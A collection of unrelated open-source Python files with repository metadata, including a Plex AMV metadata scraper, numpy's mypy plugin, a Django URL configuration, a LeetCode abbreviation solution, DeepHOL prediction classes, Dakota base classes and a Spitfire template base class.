results.Append(MetadataSearchResult(
id=str(vid),
name=title,
year=year,
score=score,
lang=lang
))
def update(self, metadata, media, lang):
if not metadata.id:
return
try:
info_html = HTML.ElementFromURL(AMV_FULL_URL % metadata.id,
cacheTime=86400*15)
info_html = info_html.cssselect('#main')[0]
except:
Log('Could not pull info for %s' % metadata.id)
return
# .videoTitle
metadata.title = info_html.cssselect(
'.videoTitle')[0].text_content()
# videoPremiere
metadata.originally_available_at = Datetime.ParseDate(
info_html.cssselect('.videoPremiere')[0].text_content()).date()
metadata.year = metadata.originally_available_at.year
# videoStudio
try:
metadata.studio = info_html.cssselect(
'.videoStudio')[0].text_content()
except:
pass
# Summary
try:
metadata.summary = info_html.cssselect(
'.comments')[0].text_content()
except:
pass
# .opinionValues
if 0: # TODO: opinionValues not available to non members?
metadata.content_rating = info_html.cssselect(
'.opinionValues li')[2].text_content()
try:
# Member
metadata.directors.clear()
metadata.directors.add(info_html.cssselect(
'#videoInformation ul li a')[0].text_content())
except:
pass
# videoCategory
metadata.genres.clear()
for cat in info_html.cssselect('.videoCategory li'):
metadata.genres.add(cat.text_content().strip())
# Posters (images from first comment)
valid_urls = []
try:
post = info_html.cssselect('.comments')[0]
except:
pass
else:
for i, img in enumerate(post.cssselect('img')):
url = img.get('src')
valid_urls.append(url)
if url not in metadata.posters:
try:
metadata.posters[url] = Proxy.Preview(
HTTP.Request(url).content, sort_order=i)
except:
pass
metadata.posters.validate_keys(valid_urls)
| {
"repo_name": "Alphadelta14/plex-amv-scanner",
"path": "Contents/Code/__init__.py",
"copies": "1",
"size": "8104",
"license": "mit",
"hash": -5806113004705428000,
"line_mean": 35.1785714286,
"line_max": 117,
"alpha_frac": 0.5112290227,
"autogenerated": false,
"ratio": 4.269757639620654,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.5280986662320654,
"avg_score": null,
"num_lines": null
} |
"""A mypy_ plugin for managing a number of platform-specific annotations.
Its functionality can be split into three distinct parts:
* Assigning the (platform-dependent) precisions of certain `~numpy.number`
subclasses, including the likes of `~numpy.int_`, `~numpy.intp` and
`~numpy.longlong`. See the documentation on
:ref:`scalar types <arrays.scalars.built-in>` for a comprehensive overview
of the affected classes. Without the plugin the precision of all relevant
classes will be inferred as `~typing.Any`.
* Removing all extended-precision `~numpy.number` subclasses that are
unavailable for the platform in question. Most notably this includes the
likes of `~numpy.float128` and `~numpy.complex256`. Without the plugin *all*
extended-precision types will, as far as mypy is concerned, be available
to all platforms.
* Assigning the (platform-dependent) precision of `~numpy.ctypeslib.c_intp`.
Without the plugin the type will default to `ctypes.c_int64`.
.. versionadded:: 1.22
Examples
--------
To enable the plugin, one must add it to their mypy `configuration file`_:
.. code-block:: ini
[mypy]
plugins = numpy.typing.mypy_plugin
.. _mypy: http://mypy-lang.org/
.. _configuration file: https://mypy.readthedocs.io/en/stable/config_file.html
"""
from __future__ import annotations
import typing as t
import numpy as np
try:
import mypy.types
from mypy.types import Type
from mypy.plugin import Plugin, AnalyzeTypeContext
from mypy.nodes import MypyFile, ImportFrom, Statement
from mypy.build import PRI_MED
_HookFunc = t.Callable[[AnalyzeTypeContext], Type]
MYPY_EX: None | ModuleNotFoundError = None
except ModuleNotFoundError as ex:
MYPY_EX = ex
__all__: t.List[str] = []
def _get_precision_dict() -> t.Dict[str, str]:
names = [
("_NBitByte", np.byte),
("_NBitShort", np.short),
("_NBitIntC", np.intc),
("_NBitIntP", np.intp),
("_NBitInt", np.int_),
("_NBitLongLong", np.longlong),
("_NBitHalf", np.half),
("_NBitSingle", np.single),
("_NBitDouble", np.double),
("_NBitLongDouble", np.longdouble),
]
ret = {}
for name, typ in names:
n: int = 8 * typ().dtype.itemsize
ret[f'numpy.typing._nbit.{name}'] = f"numpy._{n}Bit"
return ret
def _get_extended_precision_list() -> t.List[str]:
extended_types = [np.ulonglong, np.longlong, np.longdouble, np.clongdouble]
extended_names = {
"uint128",
"uint256",
"int128",
"int256",
"float80",
"float96",
"float128",
"float256",
"complex160",
"complex192",
"complex256",
"complex512",
}
return [i.__name__ for i in extended_types if i.__name__ in extended_names]
def _get_c_intp_name() -> str:
# Adapted from `np.core._internal._getintp_ctype`
char = np.dtype('p').char
if char == 'i':
return "c_int"
elif char == 'l':
return "c_long"
elif char == 'q':
return "c_longlong"
else:
return "c_long"
#: A dictionary mapping type-aliases in `numpy.typing._nbit` to
#: concrete `numpy.typing.NBitBase` subclasses.
_PRECISION_DICT: t.Final = _get_precision_dict()
#: A list with the names of all extended precision `np.number` subclasses.
_EXTENDED_PRECISION_LIST: t.Final = _get_extended_precision_list()
#: The name of the ctypes quivalent of `np.intp`
_C_INTP: t.Final = _get_c_intp_name()
def _hook(ctx: AnalyzeTypeContext) -> Type:
"""Replace a type-alias with a concrete ``NBitBase`` subclass."""
typ, _, api = ctx
name = typ.name.split(".")[-1]
name_new = _PRECISION_DICT[f"numpy.typing._nbit.{name}"]
return api.named_type(name_new)
if t.TYPE_CHECKING or MYPY_EX is None:
def _index(iterable: t.Iterable[Statement], id: str) -> int:
"""Identify the first ``ImportFrom`` instance the specified `id`."""
for i, value in enumerate(iterable):
if getattr(value, "id", None) == id:
return i
else:
raise ValueError("Failed to identify a `ImportFrom` instance "
f"with the following id: {id!r}")
def _override_imports(
file: MypyFile,
module: str,
imports: t.List[t.Tuple[str, t.Optional[str]]],
) -> None:
"""Override the first `module`-based import with new `imports`."""
# Construct a new `from module import y` statement
import_obj = ImportFrom(module, 0, names=imports)
import_obj.is_top_level = True
# Replace the first `module`-based import statement with `import_obj`
for lst in [file.defs, file.imports]: # type: t.List[Statement]
i = _index(lst, module)
lst[i] = import_obj
class _NumpyPlugin(Plugin):
"""A mypy plugin for handling versus numpy-specific typing tasks."""
def get_type_analyze_hook(self, fullname: str) -> None | _HookFunc:
"""Set the precision of platform-specific `numpy.number` subclasses.
For example: `numpy.int_`, `numpy.longlong` and `numpy.longdouble`.
"""
if fullname in _PRECISION_DICT:
return _hook
return None
def get_additional_deps(self, file: MypyFile) -> t.List[t.Tuple[int, str, int]]:
"""Handle all import-based overrides.
* Import platform-specific extended-precision `numpy.number`
subclasses (*e.g.* `numpy.float96`, `numpy.float128` and
`numpy.complex256`).
* Import the appropriate `ctypes` equivalent to `numpy.intp`.
"""
ret = [(PRI_MED, file.fullname, -1)]
if file.fullname == "numpy":
_override_imports(
file, "numpy.typing._extended_precision",
imports=[(v, v) for v in _EXTENDED_PRECISION_LIST],
)
elif file.fullname == "numpy.ctypeslib":
_override_imports(
file, "ctypes",
imports=[(_C_INTP, "_c_intp")],
)
return ret
def plugin(version: str) -> t.Type[_NumpyPlugin]:
"""An entry-point for mypy."""
return _NumpyPlugin
else:
def plugin(version: str) -> t.Type[_NumpyPlugin]:
"""An entry-point for mypy."""
raise MYPY_EX
| {
"repo_name": "mhvk/numpy",
"path": "numpy/typing/mypy_plugin.py",
"copies": "3",
"size": "6432",
"license": "bsd-3-clause",
"hash": 3533040986491539000,
"line_mean": 32.1546391753,
"line_max": 88,
"alpha_frac": 0.6044776119,
"autogenerated": false,
"ratio": 3.6524701873935266,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.5756947799293526,
"avg_score": null,
"num_lines": null
} |
"""amy URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.1/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.conf import settings
from django.conf.urls.static import static
from django.contrib import admin
from django.contrib.auth import views as auth_views
from django.contrib.contenttypes.views import shortcut
from django.urls import include, path, re_path
from django.views.generic import RedirectView
from django_comments.views.comments import post_comment, comment_done
from markdownx.views import ImageUploadView, MarkdownifyView
from workshops.views import logout_then_login_with_msg
from workshops.util import login_required
urlpatterns = [
path('', RedirectView.as_view(pattern_name='dispatch')),
path(settings.ADMIN_URL, admin.site.urls), # {% url 'admin:index' %}
path('autoemails/', include('autoemails.urls')),
path('api/v1/', include('api.urls')), # REST API v1
path('dashboard/', include('dashboard.urls')),
path('requests/', include('extrequests.urls')),
path('forms/', include('extforms.urls')), # external, anonymous user-accessible forms
path('fiscal/', include('fiscal.urls')),
path('reports/', include('reports.urls')),
path('trainings/', include('trainings.urls')),
path('workshops/', include('workshops.urls')),
path('select_lookups/', include('workshops.lookups')), # autocomplete lookups
path('terms/', include('consents.urls')),
# for webhooks from Mailgun
path('mail_hooks/', include('anymail.urls')),
# django views for authentication
path('account/login/',
auth_views.LoginView.as_view(
template_name="account/login.html",
extra_context={"title": "Log in"},
),
name='login'),
path('account/logout/',
logout_then_login_with_msg,
name='logout'),
path('account/password_reset/',
auth_views.PasswordResetView.as_view(
template_name="account/password_reset.html",
),
name='password_reset'),
path('account/password_reset/done/',
auth_views.PasswordResetDoneView.as_view(
template_name="account/password_reset_done.html",
),
name='password_reset_done'),
re_path(r'^account/reset/(?P<uidb64>[0-9A-Za-z_\-]+)/'
r'(?P<token>[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/$',
auth_views.PasswordResetConfirmView.as_view(
template_name="account/password_reset_confirm.html",
),
name='password_reset_confirm'),
path('account/reset/done/',
auth_views.PasswordResetCompleteView.as_view(
template_name="account/password_reset_complete.html",
),
name='password_reset_complete'),
# Login with GitHub credentials
path('', include('social_django.urls', namespace='social')),
# for commenting system
path('comments/', include([
path('post/', login_required(post_comment), name='comments-post-comment'),
path('posted/', login_required(comment_done), name='comments-comment-done'),
path('cr/<int:content_type_id>/<int:object_id>/', login_required(shortcut), name='comments-url-redirect'),
])),
# for markdown upload & preview
path('markdownx/', include([
path('markdownify/', login_required(MarkdownifyView.as_view()), name='markdownx_markdownify'),
path('upload/', login_required(ImageUploadView.as_view()), name='markdownx_upload'),
])),
] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)
redirect_urlpatterns = [
path('workshops/', RedirectView.as_view(pattern_name='dispatch')),
path('workshops/admin-dashboard/', RedirectView.as_view(pattern_name='admin-dashboard')),
path('workshops/trainee-dashboard/', RedirectView.as_view(pattern_name='trainee-dashboard')),
path('workshops/trainee-dashboard/training_progress/', RedirectView.as_view(pattern_name='training-progress')),
path('workshops/autoupdate_profile/', RedirectView.as_view(pattern_name='autoupdate_profile')),
path('workshops/training_requests/', RedirectView.as_view(pattern_name='all_trainingrequests')),
path('workshops/training_requests/merge', RedirectView.as_view(pattern_name='trainingrequests_merge')),
path('workshops/bulk_upload_training_request_scores', RedirectView.as_view(pattern_name='bulk_upload_training_request_scores')),
path('workshops/bulk_upload_training_request_scores/confirm', RedirectView.as_view(pattern_name='bulk_upload_training_request_scores_confirmation')),
path('workshops/workshop_requests/', RedirectView.as_view(pattern_name='all_workshoprequests')),
path('workshops/organizations/', RedirectView.as_view(pattern_name='all_organizations')),
path('workshops/memberships/', RedirectView.as_view(pattern_name='all_memberships')),
path('workshops/reports/membership_trainings_stats/', RedirectView.as_view(pattern_name='membership_trainings_stats')),
path('workshops/reports/workshop_issues/', RedirectView.as_view(pattern_name='workshop_issues')),
path('workshops/reports/instructor_issues/', RedirectView.as_view(pattern_name='instructor_issues')),
path('workshops/reports/duplicate_persons/', RedirectView.as_view(pattern_name='duplicate_persons')),
path('workshops/reports/duplicate_training_requests/', RedirectView.as_view(pattern_name='duplicate_training_requests')),
path('workshops/trainings/', RedirectView.as_view(pattern_name='all_trainings')),
path('workshops/trainees/', RedirectView.as_view(pattern_name='all_trainees')),
path('workshops/request_training/', RedirectView.as_view(pattern_name='training_request', permanent=True)),
]
urlpatterns += redirect_urlpatterns
if settings.DEBUG:
import debug_toolbar
urlpatterns += [
path('__debug__/', include(debug_toolbar.urls)),
]
| {
"repo_name": "pbanaszkiewicz/amy",
"path": "config/urls.py",
"copies": "1",
"size": "6369",
"license": "mit",
"hash": 1496936952880223000,
"line_mean": 46.1777777778,
"line_max": 153,
"alpha_frac": 0.6927304129,
"autogenerated": false,
"ratio": 3.7619610159480215,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.49546914288480215,
"avg_score": null,
"num_lines": null
} |
a = {
0: set([1, 14, 16, 17, 19, 20, 21, 22]),
1: set([2]),
2: set([]),
14: set([15]),
15: set([]),
16: set([18]),
17: set([]),
18: set([]),
19: set([]),
20: set([]),
21: set([]),
22: set([])
}
def lookup(lis, table):
cset = table[lis.pop(0)]
ckey = None
for x in lis[:-1]:
if x in cset:
ckey = x
cset = table[x]
print x, cset
else:
raise Exception()
if lis[-1] in cset:
key = lis[-1]
return key, table[key]
else:
raise Exception()
import UserDict
import operator
class Tree(object, UserDict.DictMixin):
def __init__(self, table, root):
self.key = root
self.filled = False
self.children = {}
if root in table:
result = []
for child in table[root]:
result.append((child, Tree(table, child)))
self.filled = True
self.children.update(result)
def __getitem__(self, key):
if hasattr(key, '__iter__'):
return self.find([self.key] + list(key))
return self.children[key]
def keys(self):
return self.children.keys()
def find(self, path):
if len(path) == 1:
return self
else:
value = self[path[1]]
if value is not None:
value = value.find(path[1:])
return value
def __str__(self):
return '\n'.join(self.mkstrtree(0))
def mkstrtree(self, level, space='--'):
result = [space*level+str(level+1)+space+str(self.key)]
for id, child in self.children.items():
result.extend(child.mkstrtree(level+1))
return result
def mktree(self):
result = {}
def setitem(dict, key, value): dict[key] = value
for key, value in self.children.items():
if value.filled:
setitem(result, key, value.mktree())
else:
setitem(result, key, None)
return result
def count(self):
return len(self) + reduce(operator.add,
[x.count() for x in self.children.values()],
0)
b = Tree(a, 135);print b | {
"repo_name": "fiddlerwoaroof/sandbox",
"path": "unsorted/pythonsnippets_0029.py",
"copies": "1",
"size": "2263",
"license": "bsd-3-clause",
"hash": 3588468806163364400,
"line_mean": 26.950617284,
"line_max": 78,
"alpha_frac": 0.4838709677,
"autogenerated": false,
"ratio": 3.7716666666666665,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.9716839650922307,
"avg_score": 0.007739596688872052,
"num_lines": 81
} |
# An abbreviation of a word follows the form <first letter><number><last letter>. Below are some examples of word
# abbreviations:
#
# a) it --> it (no abbreviation)
#
# 1
# b) d|o|g --> d1g
#
# 1 1 1
# 1---5----0----5--8
# c) i|nternationalizatio|n --> i18n
#
# 1
# 1---5----0
# d) l|ocalizatio|n --> l10n
# Assume you have a dictionary and given a word, find whether its abbreviation is unique in the dictionary. A word's
# abbreviation is unique if no other word from the dictionary has the same abbreviation.
#
# Example:
# Given dictionary = [ "deer", "door", "cake", "card" ]
#
# isUnique("dear") ->
# false
#
# isUnique("cart") ->
# true
#
# isUnique("cane") ->
# false
#
# isUnique("make") ->
# true
from collections import defaultdict
class ValidWordAbbr(object):
abbr_master = defaultdict(set)
def __init__(self, dictionary):
"""
:type dictionary: List[str]
"""
for word in dictionary:
if len(word) > 2:
abbr = "{}{}{}".format(word[0], len(word)-2, word[-1])
else:
abbr = word
self.abbr_master[abbr].add(word)
def isUnique(self, word):
"""
:type word: str
:rtype: bool
"""
if len(word) > 2:
abbr = "{}{}{}".format(word[0], len(word)-2, word[-1])
else:
abbr = word
return abbr not in self.abbr_master or (len(self.abbr_master[abbr]) == 1 and list(self.abbr_master[abbr])[0] == word)
# Note:
# Generating a global master set of abbreviation and checking new words against it
| {
"repo_name": "jigarkb/Programming",
"path": "LeetCode/288-M-UniqueWordAbbreviation.py",
"copies": "2",
"size": "1637",
"license": "mit",
"hash": 776828445031962600,
"line_mean": 24.9841269841,
"line_max": 125,
"alpha_frac": 0.5558949297,
"autogenerated": false,
"ratio": 3.3204868154158214,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.987252939637492,
"avg_score": 0.0007704697481800317,
"num_lines": 63
} |
"""An Abstract API for predictions used by the action generator.
Predictions splits the input batches into pieces of max batch size and
concatenates the output arrays if necessary.
"""
from __future__ import absolute_import
from __future__ import division
# Import Type Annotations
from __future__ import print_function
import abc
import numpy as np
from typing import List
from typing import NamedTuple
from typing import Optional
from typing import Text
# Numpy arrays do not support type checking for arrays with different shapes.
# [goal_emb_size] float32
GOAL_EMB_TYPE = np.ndarray
# [batch_size, Goal_emb_size] float32
BATCH_GOAL_EMB_TYPE = np.ndarray
# [thm_emb_size] float32
THM_EMB_TYPE = np.ndarray
# [batch_size, thm_emb_size] float32
BATCH_THM_EMB_TYPE = np.ndarray
# [state_enc_size] float32
STATE_ENC_TYPE = np.ndarray
def batch_array(array, max_batch_size):
"""Split an array according the maximum batch_size.
Args:
array: List or 2D Numpy array.
max_batch_size: Integer value with maximum batch_size or None.
Returns:
A list of lists or numpy arrays the concatenation of which is the input
list or array, and the first dimension of each array is less than or equal
to max_batch_size. If max_batch_size is None, then a singleton list with the
input list/array is returned.
"""
if max_batch_size is None:
return [array]
num_batches = (len(array) + max_batch_size - 1) // max_batch_size
assert num_batches > 0
return [
array[(i * max_batch_size):((i + 1) * max_batch_size)]
for i in range(num_batches)
]
def batched_run(inputs, evaluator, max_batch_size):
"""Run some evaluator function on a set of inputs in a batched manner.
The input array or list will be chunked into minimum length list of
batches of size at least max_batch_size, ran through the evaluator and
the result arrays are concatenated into a final solution. The results are
assumed to be numpy arrays.
Args:
inputs: List of input 1D arrays, strings or dictionaries.
evaluator: Function to be applied on the produced batches.
max_batch_size: optional integer, maximum size for the chunks to be
processed by the evaluator.
Returns:
Concatenated result for the batches.
"""
assert inputs
# We disable the warning so that this code works with numpy arrays as well.
if not len(inputs[0]): # pylint: disable=g-explicit-length-test
return np.empty([0])
for i in range(1, len(inputs)):
assert len(inputs[0]) == len(inputs[i])
batched_inputs = [batch_array(a, max_batch_size) for a in inputs]
outputs = [evaluator(*batch) for batch in zip(*batched_inputs)]
assert outputs
if len(outputs) == 1:
return outputs[0]
else:
return np.concatenate(outputs)
class ProofState(
NamedTuple('ProofState', [('goal', Text), ('asl', List[Text]),
('goal_hist', List[Text]), ('orig_conj', Text)])):
"""ProofState contains all values that we want to use for predictions.
goal: Conclusion term of the goal state.
asl: List of theorem assumptions for the goal state, typically (h (A) A)
goal_hist: List of previously visited goals.
orig_conj: The conclusion term of the original conjecture.
"""
__slots__ = ()
def __new__(cls, goal, asl=None, goal_hist=None, orig_conj=None):
return super(ProofState, cls).__new__(cls, goal, asl, goal_hist, orig_conj)
class EmbProofState(
NamedTuple('EmbProofState', [('goal_emb', GOAL_EMB_TYPE),
('asl_emb', BATCH_THM_EMB_TYPE),
('goal_hist_emb', BATCH_GOAL_EMB_TYPE),
('orig_conj_emb', GOAL_EMB_TYPE)])):
"""Contains vector embeddings of any strings in ProofState.
goal_emb: Goal embedding.
asl_emb: List of assumption embeddings.
goal_hist_emb: List of goal history embeddings.
orig_conj_emb: Original conjecture embedding.
"""
__slots__ = ()
def __new__(cls,
goal_emb,
asl_emb=None,
goal_hist_emb=None,
orig_conj_emb=None):
return super(EmbProofState, cls).__new__(cls, goal_emb, asl_emb,
goal_hist_emb, orig_conj_emb)
class Predictions(object):
"""Compute embeddings and make predictions from a saved checkpoint.
This class is the abstract base class for all predictions for HOL Light.
This class uses batches of given maximum size to make the predictions. The
result is assumed to be numpy arrays of given size and concatenated to be of
the final size.
"""
__metaclass__ = abc.ABCMeta
def __init__(self,
max_embedding_batch_size: Optional[int] = 128,
max_score_batch_size: Optional[int] = 128) -> None:
"""Restore from the checkpoint into the session."""
self.max_embedding_batch_size = max_embedding_batch_size
self.max_score_batch_size = max_score_batch_size
def goal_embedding(self, goal: Text) -> GOAL_EMB_TYPE:
"""Given a goal as a string, computes and returns its embedding."""
# Pack and unpack the goal into a batch of size one.
[embedding] = self.batch_goal_embedding([goal])
return embedding
def batch_goal_embedding(self, goals: List[Text]) -> BATCH_GOAL_EMB_TYPE:
"""Computes embeddings from a list of goals."""
return batched_run([goals], self._batch_goal_embedding,
self.max_embedding_batch_size)
@abc.abstractmethod
def _batch_goal_embedding(self, goals: List[Text]) -> BATCH_GOAL_EMB_TYPE:
"""Computes embeddings from a list of goals."""
pass
def thm_embedding(self, thm: Text) -> THM_EMB_TYPE:
"""Given a theorem as a string, computes and returns its embedding."""
[embedding] = self.batch_thm_embedding([thm])
return embedding
def batch_thm_embedding(self, thms: List[Text]) -> BATCH_THM_EMB_TYPE:
"""From a list of string theorems, computes and returns their embeddings."""
return batched_run([thms], self._batch_thm_embedding,
self.max_embedding_batch_size)
@abc.abstractmethod
def _batch_thm_embedding(self, thms: List[Text]) -> BATCH_THM_EMB_TYPE:
"""From a list of string theorems, computes and returns their embeddings."""
pass
@abc.abstractmethod
def proof_state_from_search(self, node) -> ProofState:
"""Convert from proof_search_tree.ProofSearchNode to proof state."""
pass
@abc.abstractmethod
def proof_state_embedding(self, state: ProofState) -> EmbProofState:
"""From a proof state, computes and returns embeddings of each component."""
pass
@abc.abstractmethod
def proof_state_encoding(self, state_emb: EmbProofState) -> STATE_ENC_TYPE:
"""From an embedding of a proof state, computes and returns its encoding."""
pass
def batch_tactic_scores(self,
state_encodings: List[STATE_ENC_TYPE]) -> np.ndarray:
"""Predicts tactic probabilities for a batch of goals.
Args:
state_encodings: A list of n proof state encodings.
Returns:
A 2D array [batch_size, num_tactics]. A batch of tactic probabilities.
"""
return batched_run([state_encodings], self._batch_tactic_scores,
self.max_score_batch_size)
@abc.abstractmethod
def _batch_tactic_scores(self,
state_encodings: List[STATE_ENC_TYPE]) -> np.ndarray:
"""Predicts tactic probabilities for a batch of goals."""
pass
def batch_thm_scores(self,
state_encoding: STATE_ENC_TYPE,
thm_embeddings: BATCH_THM_EMB_TYPE,
tactic_id: Optional[int] = None) -> List[float]:
"""Predict relevance scores for goal, theorem pairs.
Args:
state_encoding: A proof state encoding.
thm_embeddings: A list of n theorem embeddings. Theorems are paired by
index with corresponding goals.
tactic_id: Optionally tactic that the theorem parameters will be used in.
Returns:
A list of n floats, representing the pairwise score of each goal, thm.
"""
batched_thm_emb = batch_array(thm_embeddings, self.max_score_batch_size)
if self.max_score_batch_size is None:
state_copies = np.tile([state_encoding], [len(batched_thm_emb[0]), 1])
else:
state_copies = np.tile([state_encoding], [self.max_score_batch_size, 1])
ret = []
for thm_emb in batched_thm_emb:
scores = self._batch_thm_scores(state_copies[:len(thm_emb)], thm_emb,
tactic_id)
ret.append(scores)
return np.concatenate(ret)
@abc.abstractmethod
def _batch_thm_scores(self,
state_encodings: List[STATE_ENC_TYPE],
thm_embeddings: BATCH_THM_EMB_TYPE,
tactic_id: Optional[int] = None) -> List[float]:
pass
| {
"repo_name": "tensorflow/deepmath",
"path": "deepmath/deephol/predictions.py",
"copies": "1",
"size": "8865",
"license": "apache-2.0",
"hash": 2582280205359596500,
"line_mean": 35.7842323651,
"line_max": 80,
"alpha_frac": 0.659108855,
"autogenerated": false,
"ratio": 3.636177194421657,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.4795286049421657,
"avg_score": null,
"num_lines": null
} |
"""An abstract base class for all Dakota interfaces."""
from abc import ABCMeta, abstractmethod
import os
class InterfaceBase(object):
"""Describe features common to all Dakota interfaces."""
__metaclass__ = ABCMeta
@abstractmethod
def __init__(
self,
interface="direct",
id_interface="CSDMS",
analysis_driver="rosenbrock",
asynchronous=False,
evaluation_concurrency=2,
work_directory=os.getcwd(),
work_folder="run",
parameters_file="params.in",
results_file="results.out",
**kwargs
):
"""Create a default interface.
Parameters
----------
interface : str, optional
The Dakota interface type (default is 'direct').
id_interface : str, optional
Interface identifier.
analysis_driver : str, optional
Name of analysis driver for Dakota experiment (default is
'rosenbrock').
asynchronous : bool, optional
Set to perform asynchronous evaluations (default is False).
evaluation_concurrency : int, optional
Number of concurrent evaluations (default is 2).
work_directory : str, optional
The file path to the work directory (default is the run
directory)
work_folder : str, optional
The name of the folders Dakota will create for each run
(default is **run**).
parameters_file : str, optional
The name of the parameters file (default is **params.in**).
results_file : str, optional
The name of the results file (default is **results.out**).
**kwargs
Optional keyword arguments.
"""
self.interface = interface
self.id_interface = id_interface
self.analysis_driver = analysis_driver
self._asynchronous = asynchronous
self._evaluation_concurrency = evaluation_concurrency
self.parameters_file = parameters_file
self.results_file = results_file
self.work_directory = os.path.join(work_directory, work_folder)
@property
def asynchronous(self):
"""State of Dakota evaluation concurrency."""
return self._asynchronous
@asynchronous.setter
def asynchronous(self, value):
"""Toggle Dakota evaluation concurrency.
Parameters
----------
value : bool
True if evaluation concurrency is enabled.
"""
if not isinstance(value, bool):
raise TypeError("Asynchronous must be a bool")
self._asynchronous = value
@property
def evaluation_concurrency(self):
"""Number of concurrent evaluations."""
return self._evaluation_concurrency
@evaluation_concurrency.setter
def evaluation_concurrency(self, value):
"""Set the number of concurrent evaluations.
Parameters
----------
value : int
The number of concurrent evaluations.
"""
if not isinstance(value, int):
raise TypeError("Evaluation concurrency must be a int")
self._evaluation_concurrency = value
def __str__(self):
"""Define the interface block of a Dakota input file."""
s = (
"interface\n"
+ " id_interface = {!r}\n".format(self.id_interface)
+ " {}\n".format(self.interface)
+ " analysis_driver = {!r}".format(self.analysis_driver)
)
if self.asynchronous:
s += "\n" + " asynchronous"
s += (
"\n"
+ " evaluation_concurrency ="
+ " {}".format(self.evaluation_concurrency)
)
return s
| {
"repo_name": "csdms/dakota",
"path": "dakotathon/interface/base.py",
"copies": "1",
"size": "3769",
"license": "mit",
"hash": -8581185375368591000,
"line_mean": 30.6722689076,
"line_max": 71,
"alpha_frac": 0.5802600159,
"autogenerated": false,
"ratio": 4.875808538163001,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0.00024357569114602363,
"num_lines": 119
} |
"""An abstract base class for all Dakota responses."""
from abc import ABCMeta, abstractmethod
class ResponsesBase(object):
"""Describe features common to all Dakota responses."""
__metaclass__ = ABCMeta
@abstractmethod
def __init__(
self,
responses="response_functions",
response_descriptors=(),
gradients="no_gradients",
hessians="no_hessians",
**kwargs
):
"""Create a default response.
Parameters
----------
responses : str, optional
The Dakota response type (default is 'response_functions').
response_descriptors : str or tuple or list of str, optional
Labels attached to the responses.
gradients : str, optional
Gradient type (default is 'no_gradients').
hessians : str, optional
Hessian type (default is 'no_hessians').
"""
self.responses = responses
self._response_descriptors = response_descriptors
self.gradients = gradients
self.hessians = hessians
@property
def response_descriptors(self):
"""Labels attached to Dakota responses."""
return self._response_descriptors
@response_descriptors.setter
def response_descriptors(self, value):
"""Set labels for Dakota responses.
Parameters
----------
value : str or list or tuple of str
The new response labels.
"""
if type(value) is str:
value = (value,)
if not isinstance(value, (tuple, list)):
raise TypeError("Descriptors must be a string, tuple or list")
self._response_descriptors = value
def __str__(self):
"""Define the responses block of a Dakota input file."""
s = "responses\n"
return s
| {
"repo_name": "csdms/dakota",
"path": "dakotathon/responses/base.py",
"copies": "1",
"size": "1835",
"license": "mit",
"hash": -8851943866412050000,
"line_mean": 27.671875,
"line_max": 74,
"alpha_frac": 0.5918256131,
"autogenerated": false,
"ratio": 4.816272965879265,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.5908098578979265,
"avg_score": null,
"num_lines": null
} |
"""An abstract base class for all Dakota variable types."""
from abc import ABCMeta, abstractmethod
from ..utils import to_iterable
class VariablesBase(object):
"""Describe features common to all Dakota variable types."""
__metaclass__ = ABCMeta
@abstractmethod
def __init__(self, variables="continuous_design", descriptors=(), **kwargs):
"""Create default variables parameters.
Parameters
----------
descriptors : str or tuple or list of str, optional
Labels for the variables.
variables : str, optional
The type of parameter set (default is 'continuous_design').
"""
self.variables = variables
self._descriptors = descriptors
@property
def descriptors(self):
"""Labels attached to Dakota variables."""
return self._descriptors
@descriptors.setter
def descriptors(self, value):
"""Set labels for Dakota variables.
Parameters
----------
value : str or list or tuple of str
The new variables labels.
"""
if type(value) is str:
value = (value,)
if not isinstance(value, (tuple, list)):
raise TypeError("Descriptors must be a string, tuple or list")
self._descriptors = value
def __str__(self):
"""Define the variables block of a Dakota input file."""
descriptors = to_iterable(self.descriptors)
s = "variables\n" + " {0} = {1}\n".format(self.variables, len(descriptors))
s += " descriptors ="
for vd in descriptors:
s += " {!r}".format(vd)
return s
| {
"repo_name": "csdms/dakota",
"path": "dakotathon/variables/base.py",
"copies": "1",
"size": "1662",
"license": "mit",
"hash": -7277707720879771,
"line_mean": 28.6785714286,
"line_max": 84,
"alpha_frac": 0.5896510229,
"autogenerated": false,
"ratio": 4.748571428571428,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.5838222451471428,
"avg_score": null,
"num_lines": null
} |
# an 'abstract' base class for a template, seems like a good idea for now
#import StringIO
import cStringIO as StringIO
import spitfire.runtime.filters
import spitfire.runtime.repeater
from spitfire.runtime.udn import (
_resolve_from_search_list, UnresolvedPlaceholder)
# NOTE: in some instances, this is faster than using cStringIO
# this is slightly counter intuitive and probably means there is more here than
# meets the eye.
class BufferIO(list):
write = list.append
def getvalue(self):
return ''.join(self)
class SpitfireTemplate(object):
# store a reference to the filter function - this is tricky because of some
# python stuff. filter functions look like this:
#
# def filter_function(template_instance, value):
#
# when this is assigned to a template instance, accessing this name binds the
# function to the current instance. using the name 'template_instance' to
# indicate that these functions aren't really related to the template.
_filter_function = staticmethod(spitfire.runtime.filters.safe_values)
repeat = None
def __init__(self, search_list=None, default_filter=None):
self.search_list = search_list
if default_filter is not None:
self._filter_function = default_filter
# FIXME: repeater support is not needed most of the time, just
# disable it for the time being
# self.repeat = spitfire.runtime.repeater.RepeatTracker()
def get_var(self, name, default=None):
return _resolve_from_search_list(self.search_list, name, default)
